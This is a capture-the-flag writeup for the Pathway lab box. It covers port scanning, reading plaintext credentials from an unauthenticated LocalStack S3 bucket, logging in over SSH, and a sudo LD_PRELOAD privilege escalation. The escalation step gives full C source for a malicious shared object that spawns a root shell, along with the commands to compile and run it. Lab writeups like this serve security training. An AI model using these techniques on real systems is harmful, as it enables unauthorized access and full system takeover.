# Pathway Writeup - Proving Grounds

> Intermediate Linux box exposing an unauthenticated LocalStack S3 bucket with plaintext credentials in users.json, used to SSH in as brian, then escalating to root by abusing an LD_PRELOAD-preserving sudo rule with a malicious shared object.

- **URL:** https://hackindex.io/writeups/pathway
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** privilege-escalation, sudo-misconfiguration, ld-preload, s3, localstack, credential-reuse
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

Pathway exposes a LocalStack instance on port 4566 that serves an S3-compatible API with no authentication. An open bucket named `internal` holds a `users.json` file with plaintext credentials, which log in over SSH as `brian`. From there, `sudo -l` shows `env_keep+=LD_PRELOAD` on a NOPASSWD binary, and a malicious shared object loaded through LD_PRELOAD runs its constructor as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE   VERSION
# 22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u5
# 80/tcp   open  http      nginx 1.22.1
# 3089/tcp open  ptk-alink?
# 4566/tcp open  http      TwistedWeb 24.3.0
```

Port 80 is a Bootstrap landing page with a login modal and no real backend. Port 3089 returns HTTP 400 on everything. Port 4566 is Python TwistedWeb 24.3.0, the port LocalStack uses for its S3-compatible object storage, so that is the target.

### Whatweb

Fingerprint the web services.

```bash
whatweb http://$TARGET_IP http://$TARGET_IP:4566
# http://$TARGET_IP [200 OK] Bootstrap, Email[info@company.co], HTML5, HTTPServer[nginx/1.22.1], JQuery, PasswordField, Title[Chain App Dev]
# http://$TARGET_IP:4566 [200 OK] Dreambox[24.3.0], HTTPServer[TwistedWeb/24.3.0], TwistedWeb[24.3.0]
```

Port 80 is the Chain App Dev site, and 4566 confirms TwistedWeb, the LocalStack S3 front end.

### Directory discovery

Brute force directories on both HTTP ports.

```bash
feroxbuster -u http://$TARGET_IP -u http://$TARGET_IP:4566
# # Port 80
# [301] /assets  ->  http://$TARGET_IP/assets/
#
# # Port 4566
# [200] /internal
```

The `/internal` path on 4566 returns a 200. On a LocalStack S3 endpoint that is a bucket name.

## Enumeration

### S3 bucket listing

Browsing to the bucket on 4566 returns an S3 `ListBucketResult` for a bucket named `internal`, served with no authentication.

```bash
curl http://$TARGET_IP:4566/internal
```

```xml
<ListBucketResult>
  <Name>internal</Name>
  <Contents>
    <Key>users.json</Key>
    <Size>381</Size>
    <Owner><DisplayName>webfile</DisplayName></Owner>
  </Contents>
</ListBucketResult>
```

The bucket holds a single object, `users.json`. The login modal on port 80 was a dead end for SQL injection, so pull the object directly.

## Exploitation

### Credential extraction

Fetch the object from the open bucket.

```bash
curl http://$TARGET_IP:4566/internal/users.json
```

The file exposes plaintext credentials for two accounts.

- brian (IT admin): `$BRIAN_PASSWORD`
- huzaid (helpdesk): `$HUZAID_PASSWORD`

### Foothold over SSH

Spray both credentials against SSH with NetExec.

```bash
nxc ssh $TARGET_IP -u brian -p '$BRIAN_PASSWORD'
# SSH  $TARGET_IP  22  [+] brian:$BRIAN_PASSWORD  Linux - Shell access!
```

`brian` authenticates and NetExec confirms shell access. Log in over SSH for an interactive session.

## Privilege Escalation

Check the sudo rights for `brian`.

```bash
sudo -l
# Matching Defaults entries for brian on pathway:
#     env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=LD_PRELOAD
#
# User brian may run the following commands on pathway:
#     (ALL) NOPASSWD: /usr/bin/ping
```

`env_keep+=LD_PRELOAD` means sudo preserves the `LD_PRELOAD` environment variable. Any binary run through sudo loads a shared library of our choice before its own code executes, so the binary itself (`ping`) does not matter. A library constructor fires first. Compile a shared object whose `_init()` constructor drops into a root shell.

```c
// shell.c
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");  // clean up to avoid recursion
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

```bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=./shell.so ping
# root@pathway:/home/brian# id
# uid=0(root) gid=0(root) groups=0(root)
```

The constructor runs under sudo as root before `ping` starts, giving a root shell.

Related

## References

- [GTFOBins](https://gtfobins.github.io/gtfobins/) - LD_PRELOAD abuse via sudo-preserved environment variables.
- [LocalStack](https://docs.localstack.cloud/) - S3-compatible object storage on port 4566, frequently exposed without authentication.
